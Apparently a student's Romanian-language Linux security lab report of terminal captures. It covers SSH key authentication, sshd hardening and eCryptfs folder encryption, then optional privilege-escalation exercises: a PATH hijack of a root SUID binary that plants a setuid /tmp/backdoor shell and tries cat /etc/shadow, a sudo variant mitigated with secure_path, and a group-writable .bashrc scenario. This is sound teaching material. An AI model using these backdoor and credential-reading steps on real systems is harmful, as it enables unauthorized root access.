* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not en
```

5. Să se redeschidă conexiunea folosind opțiunea "-v" a comenzii ssh, pentru a verifica conectarea pe baza de chei.

```
ubuntu@ubuntu-VirtualBox:~$ ssh -v ssh-user@localhost
OpenSSH_9.6p1 Ubuntu-3ubuntu13.14, OpenSSL 3.0.13 30 Jan 2024
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 19: include /etc/ssh/ssh_config.d/*.conf matched no files
debug1: /etc/ssh/ssh_config line 21: Applying options for *
debug1: Connecting to localhost [127.0.0.1] port 22.
debug1: Connection established.
debug1: identity file /home/ubuntu/.ssh/id_rsa type 0
debug1: identity file /home/ubuntu/.ssh/id_rsa-cert type -1
debug1: identity file /home/ubuntu/.ssh/id_ecdsa type -1
debug1: identity file /home/ubuntu/.ssh/id_ecdsa-cert type -1
debug1: identity file /home/ubuntu/.ssh/id_ecdsa_sk type -1
debug1: identity file /home/ubuntu/.ssh/id_ecdsa_sk-cert type -1
debug1: identity file /home/ubuntu/.ssh/id_ed25519 type -1
debug1: identity file /home/ubuntu/.ssh/id_ed25519-cert type -1
debug1: identity file /home/ubuntu/.ssh/id_ed25519_sk type -1
debug1: identity file /home/ubuntu/.ssh/id_ed25519_sk-cert type -1
debug1: identity file /home/ubuntu/.ssh/id_xmss type -1
debug1: identity file /home/ubuntu/.ssh/id_xmss-cert type -1
debug1: identity file /home/ubuntu/.ssh/id_dsa type -1
debug1: identity file /home/ubuntu/.ssh/id_dsa-cert type -1
debug1: Local version string SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
debug1: Remote protocol version 2.0, remote software version OpenSSH_9.6p1 Ubuntu-3ubuntu13.14
debug1: compat_banner: match: OpenSSH_9.6p1 Ubuntu-3ubuntu13.14 pat OpenSSH* compat 0x04000000
debug1: Authenticating to localhost:22 as 'ssh-user'
debug1: load_hostkeys: fopen /home/ubuntu/.ssh/known_hosts2: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts: No such file or directory
debug1: load_hostkeys: fopen /etc/ssh/ssh_known_hosts2: No such file or directory
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: algorithm: sntrup761x25519-sha512@openssh.com
debug1: kex: host key algorithm: ssh-ed25519
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression:
```

```
debug1: Will attempt key: /home/ubuntu/.ssh/id_rsa RSA SHA256:duJGZxfrMBTvCGA1EZEjUizUaxx5Vo0JF+p7I1VnpgU
debug1: Will attempt key: /home/ubuntu/.ssh/id_ecdsa
debug1: Will attempt key: /home/ubuntu/.ssh/id_ecdsa_sk
debug1: Will attempt key: /home/ubuntu/.ssh/id_ed25519
debug1: Will attempt key: /home/ubuntu/.ssh/id_ed25519_sk
debug1: Will attempt key: /home/ubuntu/.ssh/id_xmss
debug1: Will attempt key: /home/ubuntu/.ssh/id_dsa
debug1: Offering public key: /home/ubuntu/.ssh/id_rsa RSA SHA256:duJGZxfrMBTvCGA1EZEjUizUaxx5Vo0JF+p7I1VnpgU
debug1: Server accepts key: /home/ubuntu/.ssh/id_rsa RSA SHA256:duJGZxfrMBTvCGA1EZEjUizUaxx5Vo0JF+p7I1VnpgU
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
Authenticated to localhost ([127.0.0.1]:22) using "publickey".
debug1: channel 0: new session [client-session] (inactive timeout: 0)
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: filesystem
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: client_input_hostkeys: searching /home/ubuntu/.ssh/known_hosts for localhost / (none)
debug1: client_input_hostkeys: searching /home/ubuntu/.ssh/known_hosts2 for localhost / (none)
debug1: client_input_hostkeys: hostkeys file /home/ubuntu/.ssh/known_hosts2 does not exist
debug1: client_input_hostkeys: host key found matching a different name/address, skipping UserKnownHostsFile up
debug1: Remote: /home/ssh-user/.ssh/authorized_keys:1: key options: agent-forwarding port-forwarding pty user-r
debug1: Sending environment.
debug1: channel 0: setting env LANG = "en_US.UTF-8"
debug1: pledge: fork
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.
```

6. Comanda ssh poate fi folosită și doar pentru a executa o simplă comandă la distanță fără stabilirea unei sesiuni

interactive. De exemplu putem executa comenzi de genul:

```
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost hostn
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost id
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
uid=1005(ssh-user) gid=1005(ssh-user) groups=1005(ssh-us
users)
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost pwd
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
/home/ssh-user
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost "ls -
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
total 60
drwxr-x--- 6 ssh-user ssh-user 4096 Dec 15 20:18 .
drwxr-xr-x 7 root      root    20480 Dec 15 19:57 ..
-rw----- 1 ssh-user ssh-user 705 Dec 15 20:48 .bash_
-rw-r--r-- 1 ssh-user ssh-user 220 Dec 15 19:57 .bash_
-rw-r--r-- 1 ssh-user ssh-user 3771 Dec 15 19:57 .bashr
drwx----- 2 ssh-user ssh-user 4096 Dec 15 20:00 .cache
drwx----- 3 ssh-user ssh-user 4096 Dec 15 20:00 .local
-rw-r--r-- 1 ssh-user ssh-user 807 Dec 15 19:57 .profi
```

6. *Problema 1.* Să se creeze un nou cont "ssh-user2" și să se asigure conectarea prin ssh pe bază de chei (fără parolă) de pe "ssh-user" pe "ssh-user2". Să se execute comanda "id" pentru a demonstra faptul că conexiunea s-a făcut pe utilizatorul "ssh-user2".

```
ubuntu@ubuntu-VirtualBox:~$ sudo adduser ssh-user2
info: Adding user `ssh-user2' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ssh-user2' (1006) ...
info: Adding new user `ssh-user2' (1006) with group `ssh-user2 (
1006)' ...
info: Creating home directory `/home/ssh-user2' ...
info: Copying files from `/etc/skel' ...
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: password updated successfully
Changing the user information for ssh-user2
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] Y
info: Adding new user `ssh-user2' to supplemental / extra groups
`users' ...
info: Adding user `ssh-user2' to group `users' ...
ubuntu@ubuntu-VirtualBox:~$ |
```

```
ubuntu@ubuntu-VirtualBox:~$ sudo su - ssh-user
ssh-user@ubuntu-VirtualBox:~$ ssh-copy-id ssh-user2@localhost
/usr/bin/ssh-copy-id: INFO: Source of key(s) to be installed: "/home/ssh-user/.ssh/id_rsa.pub"
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:AMlTwWil2jFj+vanGzYqwilvTeauCxPLXgjOVLHLXVU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
/usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys
ssh-user2@localhost's password:

Number of key(s) added: 1

Now try logging into the machine, with: "ssh 'ssh-user2@localhost'"
and check to make sure that only the key(s) you wanted were added.

ssh-user@ubuntu-VirtualBox:~$ exit
logout
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user2@localhost id
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
uid=1006(ssh-user2) gid=1006(ssh-user2) groups=1006(ssh-user2),1000(users)
```

7. *Problema 2.* Să se limiteze în fișierul "/etc/ssh/sshd_config" metoda de conectare doar la cea prin chei și să se verifice funcționarea configurației respective.

```
GNU nano 7.2 /etc/ssh/sshd_config *

PubkeyAuthentication yes

# Expect .ssh/authorized_keys2 to be disregarded by default in >
AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_ke>

#AuthorizedPrincipalsFile none

#AuthorizedKeysCommand none
#AuthorizedKeysCommandUser nobody

# For this to work you will also need host keys in /etc/ssh/ssh>
#HostbasedAuthentication no
# Change to yes if you don't trust ~/.ssh/known_hosts for
# HostbasedAuthentication
#IgnoreUserKnownHosts no
# Don't read the user's ~/.rhosts and ~/.shosts files
#IgnoreRhosts yes

# To disable tunneled clear text passwords, change to no here!
PasswordAuthentication no
#PermitEmptyPasswords no

# Change to yes to enable challenge-response passwords (beware >
# some PAM modules and threads)
KbdInteractiveAuthentication no
```

```
ubuntu@ubuntu-VirtualBox:~$ sudo nano /etc/ssh/sshd_config
ubuntu@ubuntu-VirtualBox:~$ sudo systemctl restart sshd
[sudo] password for ubuntu:
ubuntu@ubuntu-VirtualBox:~$ ssh ssh-user@localhost
Enter passphrase for key '/home/ubuntu/.ssh/id_rsa':
Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.14.0-34-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

54 updates can be applied immediately.
To see these additional updates run: apt list --upgradable

5 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm

Last login: Mon Dec 15 20:46:27 2025 from 127.0.0.1
ssh-user@ubuntu-VirtualBox:~$ ssh user1@localhost
user1@localhost: Permission denied (publickey).
ssh-user@ubuntu-VirtualBox:~$
```

4. Encriptarea unui director

```
ubuntu@ubuntu-VirtualBox:~$ sudo apt-get install ecryptfs-utils
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
  keyutils libecryptfs1 libtspi1
Suggested packages:
  cryptsetup
The following NEW packages will be installed:
  ecryptfs-utils keyutils libecryptfs1 libtspi1
0 upgraded, 4 newly installed, 0 to remove and 47 not upgraded.
Need to get 345 kB of archives.
After this operation, 1,284 kB of additional disk space will be
used.
Do you want to continue? [Y/n] Y
Get:1 http://localhost:3142/ubuntu noble/universe amd64 libecryp
tfs1 amd64 1:11-6ubuntu3 [37.7 kB]
Get:2 http://localhost:3142/ubuntu noble/universe amd64 libtspi1
amd64 0.3.15-0.3build2 [156 kB]
Get:3 http://localhost:3142/ubuntu noble/main amd64 keyutils amd
64 1.6.3-3build1 [56.8 kB]
Get:4 http://localhost:3142/ubuntu noble/universe amd64 ecryptfs
-utils amd64 1:11-6ubuntu3 [94.6 kB]
Fetched 345 kB in 17s (19.8 kB/s)
```

1. Creați un director nou în directorul HOME al user-ului current

```
ubuntu@ubuntu-VirtualBox:~$ mkdir secret_folder
ubuntu@ubuntu-VirtualBox:~$ mkdir secret_folder_encrypted
ubuntu@ubuntu-VirtualBox:~$ |
```

2. Cu ajutorul pachetului ecryptfs-utils (puteti folosi și alt pachet) encriptați directorul respective

```

ubuntu@ubuntu-VirtualBox:~$ sudo mount -t ecryptfs secret_folder secret_folder_encrypted
Select key type to use for newly created files:
 1) passphrase
 2) tspi
Selection: 1
Passphrase:
Select cipher:
 1) aes: blocksize = 16; min keysize = 16; max keysize = 32
 2) blowfish: blocksize = 8; min keysize = 16; max keysize = 56
 3) des3_ede: blocksize = 8; min keysize = 24; max keysize = 24
 4) twofish: blocksize = 16; min keysize = 16; max keysize = 32
 5) cast6: blocksize = 16; min keysize = 16; max keysize = 32
 6) cast5: blocksize = 8; min keysize = 5; max keysize = 16
Selection [aes]:
Select key bytes:
 1) 16
 2) 32
 3) 24
Selection [16]:
Enable plaintext passthrough (y/n) [n]: n
Enable filename encryption (y/n) [n]: y
Filename Encryption Key (FNEK) Signature [55bd1b3f56895bd4]:
Attempting to mount with the following options:
  ecryptfs_unlink_sigs
  ecryptfs_fnek_sig=55bd1b3f56895bd4
  ecryptfs_key_bytes=16
  ecryptfs_cipher=aes
  ecryptfs_sig=55bd1b3f56895bd4
WARNING: Based on the contents of [/root/.ecryptfs/sig-cache.txt],
it looks like you have never mounted with this key
before. This could mean that you have typed your
passphrase wrong.

Would you like to proceed with the mount (yes/no)? : yes
Would you like to append sig [55bd1b3f56895bd4] to
[/root/.ecryptfs/sig-cache.txt]
in order to avoid this warning in the future (yes/no)? : yes
Successfully appended new sig to user sig cache file
Mounted eCryptfs
ubuntu@ubuntu-VirtualBox:~$

```

3. Creați și scrieți "test" în fișierul "test.txt" din director

```

ubuntu@ubuntu-VirtualBox:~$ cd secret_folder_encrypted
ubuntu@ubuntu-VirtualBox:~/secret_folder_encrypted$ echo "test"
> test.txt
ubuntu@ubuntu-VirtualBox:~/secret_folder_encrypted$ cat test.txt
test
ubuntu@ubuntu-VirtualBox:~/secret_folder_encrypted$

```

4. Validați encriptarea directorului, afișând cu comanda cat fișierul din director

```
ubuntu@ubuntu-VirtualBox:~/secret_folder_encrypted$ cd ..
ubuntu@ubuntu-VirtualBox:~$ sudo umount secret_folder_encrypted
ubuntu@ubuntu-VirtualBox:~$ xxd secret_folder/* | head
00000000: 0000 0000 0000 0005 c304 8359 ff85 34ac .....Y..4.
00000010: 0300 000a 0000 1000 0002 8c1d 0407 0301 .....
00000020: 0011 2233 4455 6677 6005 dd68 ccf2 f715 .."3DUfw`..h....
00000030: 9dec 79ef 5e27 1686 b8ed 1662 085f 434f ..y.^'.....b._CO
00000040: 4e53 4f4c 4500 0000 0055 bd1b 3f56 895b NSOLE....U..?V.[
00000050: d400 0000 0000 0000 0000 0000 0000 0000 .....
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 .....
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 .....
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 .....
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 .....
ubuntu@ubuntu-VirtualBox:~$ |
```

5. **OPȚIONAL. Configurare greșită a variabilei PATH**

1. Atact bazat pe setarea în PATH de către un utilizator a directorului curent și execuția unei comenzi a *root*-ului cu SUID setat.
 1. Creați un nou utilizator "compromised" și conectativă pe contul creat.

```
ubuntu@ubuntu-VirtualBox:~$ sudo adduser compromised
[sudo] password for ubuntu:
info: Adding user `compromised' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `compromised' (1007) ...
info: Adding new user `compromised' (1007) with group `compromised (1007)' ...
info: Creating home directory `/home/compromised' ...
info: Copying files from `/etc/skel' ...
New password:
BAD PASSWORD: The password is shorter than 8 characters
Retype new password:
passwd: password updated successfully
Changing the user information for compromised
Enter the new value, or press ENTER for the default
    Full Name []:
    Room Number []:
    Work Phone []:
    Home Phone []:
    Other []:
Is the information correct? [Y/n] y
info: Adding new user `compromised' to supplemental / extra groups `users' ...
info: Adding user `compromised' to group `users' ...
ubuntu@ubuntu-VirtualBox:~$ sudo su - compromised
compromised@ubuntu-VirtualBox:~$ |
```

2. Schimbați directorul curent la `"/tmp"`.

```
compromised@ubuntu-VirtualBox:~$ cd /tmp
compromised@ubuntu-VirtualBox:/tmp$ |
```

3. Download-ați fișierul C [test-suid.c](#) și studiați codul sursă.

Nu merge link-ul așa ca am făcut eu un fișier:

```
compromised@ubuntu-VirtualBox:/tmp$ nano test-suid.c
compromised@ubuntu-VirtualBox:/tmp$ cat test-suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    printf("Executing ls command...\n");
    system("ls -la");
    return 0;
}
compromised@ubuntu-VirtualBox:/tmp$
```

4. Compilați fișierul cu comanda

```
compromised@ubuntu-VirtualBox:/tmp$ gcc -o test-suid test-suid.c
compromised@ubuntu-VirtualBox:/tmp$ ls
snap-private-tmp
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-apache2.service
-F4madA
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-colord.service
LK3tuD
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-fwupd.service
UDEsT
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-ModemManager.service
rvice-zytWcC
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-polkit.service
xX29lD
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-power-profiles-daemon.service
7VsEUb
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-switcheroo-control.service
okBz9h
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-systemd-logind.service
r6TMz7
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-systemd-oomd.service
dk8Xw5
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-systemd-resolved.service
Lh2s65
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-upower.service
uznRfl
test-suid
test-suid.c
compromised@ubuntu-VirtualBox:/tmp$
```

5. Schimbați proprietarul fișierului "test-suid" la root.

```
compromised@ubuntu-VirtualBox:/tmp$ exit
logout
ubuntu@ubuntu-VirtualBox:~$ sudo chown root:root /tmp/test-suid
```

6. Setați bitul SUID al fișierului "test-suid".

```
ubuntu@ubuntu-VirtualBox:~$ sudo chmod +s /tmp/test-suid
ubuntu@ubuntu-VirtualBox:~$ ls -l /tmp/test-suid
-rwsrwsr-x 1 root root 16008 Dec 16 08:32 /tmp/test-suid
ubuntu@ubuntu-VirtualBox:~$
```

7. Executați fișierul "test-suid". Acesta funcționează așa cum a fost prevăzut.

```
ubuntu@ubuntu-VirtualBox:/tmp$ ./test-suid
Executing ls command...
total 100
drwxrwxrwt 18 root root 4096 Dec 16 08:32 .
drwxr-xr-x 23 root root 4096 Dec 2 09:36 ..
drwxrwxrwt 2 root root 4096 Dec 16 08:10 .font
nix
drwxrwxrwt 2 root root 4096 Dec 16 08:10 .ICE
ix
```

8. Setati variabila de mediu PATH, a.i. sa contina "." (directorul curent) ca prim element

```
ubuntu@ubuntu-VirtualBox:/tmp$ export PATH=.:$PATH
ubuntu@ubuntu-VirtualBox:/tmp$ echo $PATH
.: /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
ubuntu@ubuntu-VirtualBox:/tmp$
```

9. Creati fisierul "ls" cu urmatoarul continut:

```
ubuntu@ubuntu-VirtualBox:/tmp$ cp /bin/sh /tmp/backdoor
ubuntu@ubuntu-VirtualBox:/tmp$ chmod 4755 /tmp/backdoor
ubuntu@ubuntu-VirtualBox:/tmp$ /bin/ls
backdoor
snap-private-tmp
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-apache2.servi
-F4madA
systemd-private-3f1e14897a064d5c97edd04df0abb4a7-colord.servic
LK3tuD
```

10. Executati din nou fisierul "test-suid". Observati crearea fisierului "backdoor".

```
ubuntu@ubuntu-VirtualBox:/tmp$ ./test-suid
Executing ls command...
total 228
drwxrwxrwt 18 root      root      4096 Dec 16 08:44 .
drwxr-xr-x 23 root      root      4096 Dec  2 09:36 ..
-rwsr-xr-x  1 ubuntu    ubuntu    129784 Dec 16 08:44 backdoor
drwxrwxrwt  2 root      root      4096 Dec 16 08:10 .font-unix
drwxrwxrwt  2 root      root      4096 Dec 16 08:10 .ICE-unix
srw-rw-rw-  1 root      root         0 Dec 16 08:10 .iprt-localipc-DRMIpcSer
```

11. Executati fisierul "backdoor" si in shell-ul pornit executati comanda "id" si "cat /etc/shadow". Ar trebui sa aveti drepturi de root!

```
ubuntu@ubuntu-VirtualBox:/tmp$ ls -l /tmp/backdoor
-rwsr-xr-x 1 root root 129784 Dec 16 08:51 /tmp/backdoor
ubuntu@ubuntu-VirtualBox:/tmp$ ./backdoor
$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),2(cdrom),27(sudo),30(dip),46(plugdev),100(users),114(lpadmin),98(vboxsf)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ |
```

2. Încercare de atac prin sudo.
 1. Resetați bitul SUID al fișierului "test-suid".

```
ubuntu@ubuntu-VirtualBox:/tmp$ sudo chmod -s test-suid
ubuntu@ubuntu-VirtualBox:/tmp$ ll test-suid
-rwxrwxr-x 1 root root 16008 Dec 18 23:00 test-suid*
ubuntu@ubuntu-VirtualBox:/tmp$ |
```

2. Ștergeți fișierul "backdoor"

```
ubuntu@ubuntu-VirtualBox:/tmp$ sudo rm -f /tmp/backdoor
ubuntu@ubuntu-VirtualBox:/tmp$ |
```

3. Dați drepturi de sudo pentru utilizatorul "compromised".

```
GNU nano 7.2 /etc/sudoers.tmp
# Per-user preferences; root won't have sensible values for the
#Defaults:%sudo env_keep += "EMAIL DEBEMAIL DEBFULLNAME"

# "sudo scp" or "sudo rsync" should be able to use your SSH agent
#Defaults:%sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"

# Ditto for GPG agent
#Defaults:%sudo env_keep += "GPG_AGENT_INFO"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
compromised ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives

@includedir /etc/sudoers.d
```

4. Executați fișierul "test-suid" prin sudo și comparați efectul cu metoda anterioară.

```
compromised@ubuntu-VirtualBox:/tmp$ exit
logout
ubuntu@ubuntu-VirtualBox:/tmp$ sudo su - compromised
compromised@ubuntu-VirtualBox:~$ cd /tmp
compromised@ubuntu-VirtualBox:/tmp$ export PATH=.:$PATH
compromised@ubuntu-VirtualBox:/tmp$ sudo ./test-suid
[sudo] password for compromised:
Executing ls command...
total 100
drwxrwxrwt 18 root      root      4096 Dec 18 23:09 .
drwxr-xr-x 23 root      root      4096 Dec  2 09:36 ..
drwxrwxrwt  2 root      root      4096 Dec 18 22:56 .font-unix
drwxrwxrwt  2 root      root      4096 Dec 18 22:56 .ICE-unix
srw-rw-rw-  1 root      root         0 Dec 18 22:56 .iprt-localipc-DRMIpcServer
drwx-----  3 root      root      4096 Dec 18 22:56 snap-private-tmp
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-apache2.service-RVNI
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-colord.service-pLMn
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-ModemManager.service
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-polkit.service-QjRL
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-power-profiles-daem
ce-zTdkhB
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-switcheroo-control.
anc90A
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-systemd-logind.serv
tM
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-systemd-oomd.servic
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-systemd-resolved.serv
KL2X
drwx-----  3 root      root      4096 Dec 18 22:56 systemd-private-f467e3d2aecb4a569428e02665daca38-upower.service-lLQP
-rwxrwxr-x  1 root      root      16008 Dec 18 23:00 test-suid
```

5. În cazul în care atacul a reușit, setați o cale sigură pentru execuția comenzilor ca root, prin introducerea în fișierul "/etc/sudoers" a opțiunii următoare:
Defaults secure_path = "/bin:/sbin:/usr/bin:/usr/sbin"

```
GNU nano 7.2 /etc/sudoers.tmp
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file
#
Defaults      env_reset
Defaults      mail_badpass
Defaults      secure_path="/bin:/sbin:/usr/bin:/usr/sbin"
```

3. Atac bazat pe setarea greșită a variabilei PATH de către root.
 1. Conectați-vă pe contul root

```
ubuntu@ubuntu-VirtualBox:/tmp$ sudo su -
Hello world!
Hello world!
Hello world!
```

2. Adăugați directorul curent "." ca prim element în variabila PATH.

```
root@ubuntu-VirtualBox:~# export PATH=.:$PATH
```

3. Schimbați directorul curent la "/tmp".

```
root@ubuntu-VirtualBox:~# cd /tmp
```

4. Executați comanda "ls" și comparați fișierul "backdoor" cu cel de la prima metodă de atac, încercând să-l executați prin utilizatorul "compromised".

```
root@ubuntu-VirtualBox:/tmp# cp /bin/sh /tmp/backdoor
chmod 4755 /tmp/backdoor
/bin/ls
backdoor
snap-private-tmp
systemd-private-f467e3d2aecb4a569428e02665daca38-apache2.service
-RVNR3d
```

```
compromised@ubuntu-VirtualBox:~$ /tmp/backdoor
$ id
uid=1007(compromised) gid=1007(compromised) groups=1007(compromised),100(users)
$ cat /etc/shadow
cat: /etc/shadow: Permission denied
$ |
```

6. OPȚIONAL. Greșeli de configurare

1. Drepturi de scriere pentru grup pe fișiere de configurare (".bashrc") ale unui utilizator din grupuri de administrare.
 1. Creați grupurile "users" și "admins".

```
ubuntu@ubuntu-VirtualBox:~$ sudo groupadd admins
[sudo] password for ubuntu:
ubuntu@ubuntu-VirtualBox:~$ sudo groupadd users
groupadd: group 'users' already exists
ubuntu@ubuntu-VirtualBox:~$ |
```

2. Configurați permisiuni depline pentru grupul "admins" în `/etc/sudoers`, fără să se ceară parola (!):

```
GNU nano 7.2 /etc/sudoers.tmp
# "sudo scp" or "sudo rsync" should be able to use your SSH agent.
#Defaults:sudo env_keep += "SSH_AGENT_PID SSH_AUTH_SOCK"

# Ditto for GPG agent
#Defaults:sudo env_keep += "GPG_AGENT_INFO"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL
compromised ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL
%admins  ALL=(ALL) NOPASSWD: ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:

@include /etc/sudoers.d
```

3. Creați un utilizator "user1" și adăugați-l în grupurile "users" și "admins".

```
ubuntu@ubuntu-VirtualBox:~$ sudo useradd -m -s /bin/bash user1
useradd: user 'user1' already exists
ubuntu@ubuntu-VirtualBox:~$ sudo usermod -aG users,admins user1
ubuntu@ubuntu-VirtualBox:~$ |
```

4. Schimbați grupul tuturor fișierelor din directorul home al utilizatorului "user1" la "users":

```
ubuntu@ubuntu-VirtualBox:~$ sudo chown -R :users /home/user1
ubuntu@ubuntu-VirtualBox:~$ |
```

5. Conectați-vă pe contul utilizatorului "user1".

```
ubuntu@ubuntu-VirtualBox:~$ su - user1
Password:
user1@ubuntu-VirtualBox:~$ |
```

6. Creați (dacă nu există deja) fișierul ".bashrc" din directorul home al utilizatorului "user1".

```
user1@ubuntu-VirtualBox:~$ touch ~/.bashrc
user1@ubuntu-VirtualBox:~$ ls
user1@ubuntu-VirtualBox:~$ ll
total 44
drwxr-x--- 2 user1 users 4096 Dec 15 18:08 ./
drwxr-xr-x 9 root  root 20480 Dec 16 08:26 ../
-rw----- 1 user1 users 520 Dec 15 18:19 .bash_history
-rw-r--r-- 1 user1 users 220 Dec 15 17:56 .bash_logout
-rw-r--r-- 1 user1 users 3771 Dec 22 22:41 .bashrc
-rw-r--r-- 1 user1 users 807 Dec 15 17:56 .profile
user1@ubuntu-VirtualBox:~$
```

7. Setați drepturi de scriere pentru grup pentru fișierul ".bashrc" (!).

```
user1@ubuntu-VirtualBox:~$ chmod g+w ~/.bashrc
user1@ubuntu-VirtualBox:~$ ll
total 44
drwxr-x--- 2 user1 users 4096 Dec 15 18:08 ./
drwxr-xr-x 9 root  root 20480 Dec 16 08:26 ../
-rw----- 1 user1 users 520 Dec 15 18:19 .bash_history
-rw-r--r-- 1 user1 users 220 Dec 15 17:56 .bash_logout
-rw-rw-r-- 1 user1 users 3771 Dec 22 22:41 .bashrc
-rw-r--r-- 1 user1 users 807 Dec 15 17:56 .profile
user1@ubuntu-VirtualBox:~$
```

8. Creați un utilizator "user2" și adăugați-l în grupul "users".

```
ubuntu@ubuntu-VirtualBox:~$ sudo useradd -m -s /bin/bash user2
useradd: user 'user2' already exists
ubuntu@ubuntu-VirtualBox:~$ sudo usermod -aG users user2
ubuntu@ubuntu-VirtualBox:~$
```

9. Conectați-vă pe contul utilizatorului "user2".

```
ubuntu@ubuntu-VirtualBox:~$ su - user2
Password:
user2@ubuntu-VirtualBox:~$
```

10. Editați fișierul `"/home/user1/.bashrc"`, adăugând următoarele linii:

```
GNU nano 7.2 .bashrc
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    alias grep='grep --color=auto'
    alias fgrep='fgrep --color=auto'
    alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=0'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# Add an "alert" alias for long running commands.  Use like so:
#   sleep 10; alert
alias alert='notify-send --urgency=low -i "[ $? = 0 ] && echo terminal || echo error"'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
